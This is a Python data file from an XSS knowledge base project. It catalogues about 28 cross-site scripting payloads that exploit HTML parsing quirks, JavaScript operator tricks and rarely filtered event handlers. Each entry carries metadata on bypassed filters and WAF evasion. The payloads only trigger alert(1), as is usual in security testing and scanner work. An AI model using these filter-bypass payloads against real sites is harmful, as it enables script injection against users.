#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Deep Memory XSS Payloads - Part 1
HTML parsing quirks, JavaScript engine quirks, and rare event handlers.
"""

from ..models import PayloadEntry


BRS_KB_DEEP_MEMORY_PAYLOADS_PART1 = {
    # ============================================================
    # OBSCURE HTML PARSING QUIRKS
    # ============================================================
    "html-quirk-p-autoclosure": PayloadEntry(
        payload="<p><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="P tag auto-closes before script",
        tags=["html", "quirk", "parsing"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "html-quirk-table-foster": PayloadEntry(
        payload="<table><script>alert(1)</script></table>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Foster parenting script outside table",
        tags=["html", "quirk", "foster"],
        bypasses=["table_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "html-quirk-form-nested": PayloadEntry(
        payload="<form id=x></form><form><input form=x onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form attribute outside form",
        tags=["html", "quirk", "form"],
        bypasses=["form_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "html-quirk-image-tag": PayloadEntry(
        payload="<image src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IMAGE tag treated as IMG",
        tags=["html", "quirk", "image"],
        bypasses=["img_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "html-quirk-keygen": PayloadEntry(
        payload="<keygen onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Keygen element (deprecated but parsed)",
        tags=["html", "quirk", "keygen"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["firefox"],
        reliability="low",
    ),
    "html-quirk-menuitem": PayloadEntry(
        payload="<menu><menuitem onclick=alert(1)>X</menuitem></menu>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Menuitem element (Firefox)",
        tags=["html", "quirk", "menuitem"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["firefox"],
        reliability="low",
    ),
    # ============================================================
    # JAVASCRIPT ENGINE QUIRKS
    # ============================================================
    "js-quirk-with-proxy": PayloadEntry(
        payload="with(new Proxy({},{has:()=>!alert(1)}))x",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="With statement with Proxy has trap",
        tags=["javascript", "quirk", "proxy"],
        bypasses=["with_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-quirk-label-break": PayloadEntry(
        payload="x:{alert(1);break x}",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Labeled statement with break",
        tags=["javascript", "quirk", "label"],
        bypasses=["syntax_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-quirk-comma-sequence": PayloadEntry(
        payload="1,alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Comma operator sequence",
        tags=["javascript", "quirk", "comma"],
        bypasses=["expression_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-quirk-void-expression": PayloadEntry(
        payload="void alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Void operator expression",
        tags=["javascript", "quirk", "void"],
        bypasses=["keyword_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-quirk-not-not": PayloadEntry(
        payload="!!alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Double negation",
        tags=["javascript", "quirk", "boolean"],
        bypasses=["expression_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-quirk-plus-plus": PayloadEntry(
        payload="+alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Unary plus operator",
        tags=["javascript", "quirk", "unary"],
        bypasses=["expression_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-quirk-tilde": PayloadEntry(
        payload="~alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Bitwise NOT operator",
        tags=["javascript", "quirk", "bitwise"],
        bypasses=["expression_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # RARE EVENT HANDLERS (OFTEN FORGOTTEN)
    # ============================================================
    "event-onwheel": PayloadEntry(
        payload='<div onwheel="alert(1)" style="height:100px;overflow:scroll">scroll</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Onwheel event (scroll wheel)",
        tags=["event", "onwheel"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-onscrollend": PayloadEntry(
        payload='<div onscrollend="alert(1)" style="height:50px;overflow:scroll"><div style="height:200px"></div></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Onscrollend event (new)",
        tags=["event", "onscrollend"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox"],
        reliability="high",
    ),
    "event-onsecuritypolicyviolation": PayloadEntry(
        payload='<div onsecuritypolicyviolation="alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="CSP violation event handler",
        tags=["event", "csp", "violation"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onslotchange": PayloadEntry(
        payload='<x-x><div slot=x onslotchange="alert(1)"></div></x-x>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Web Component slot change event",
        tags=["event", "slot", "webcomponent"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onformdata": PayloadEntry(
        payload='<form onformdata="alert(1)"><input type=submit>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="FormData event handler",
        tags=["event", "formdata"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-onauxclick": PayloadEntry(
        payload='<div onauxclick="alert(1)">middle click</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Auxiliary (middle) click event",
        tags=["event", "auxclick"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-oncontextmenu": PayloadEntry(
        payload='<div oncontextmenu="alert(1)">right click</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Context menu (right click) event",
        tags=["event", "contextmenu"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-oncopy": PayloadEntry(
        payload='<input oncopy="alert(1)" value="copy me">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Copy event handler",
        tags=["event", "copy"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-oncut": PayloadEntry(
        payload='<input oncut="alert(1)" value="cut me">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Cut event handler",
        tags=["event", "cut"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-onpaste": PayloadEntry(
        payload='<input onpaste="alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Paste event handler",
        tags=["event", "paste"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-ondragstart": PayloadEntry(
        payload='<div draggable="true" ondragstart="alert(1)">drag me</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag start event",
        tags=["event", "drag"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-ondrop": PayloadEntry(
        payload='<div ondrop="alert(1)" ondragover="event.preventDefault()">drop here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drop event handler",
        tags=["event", "drop"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-onpointerdown": PayloadEntry(
        payload='<div onpointerdown="alert(1)">touch/click</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer down (unified input) event",
        tags=["event", "pointer"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "event-ongotpointercapture": PayloadEntry(
        payload='<div ongotpointercapture="alert(1)">capture</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer capture event",
        tags=["event", "pointer", "capture"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onselectionchange": PayloadEntry(
        payload='<input onselectionchange="alert(1)" value="select me">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Selection change event",
        tags=["event", "selection"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
}
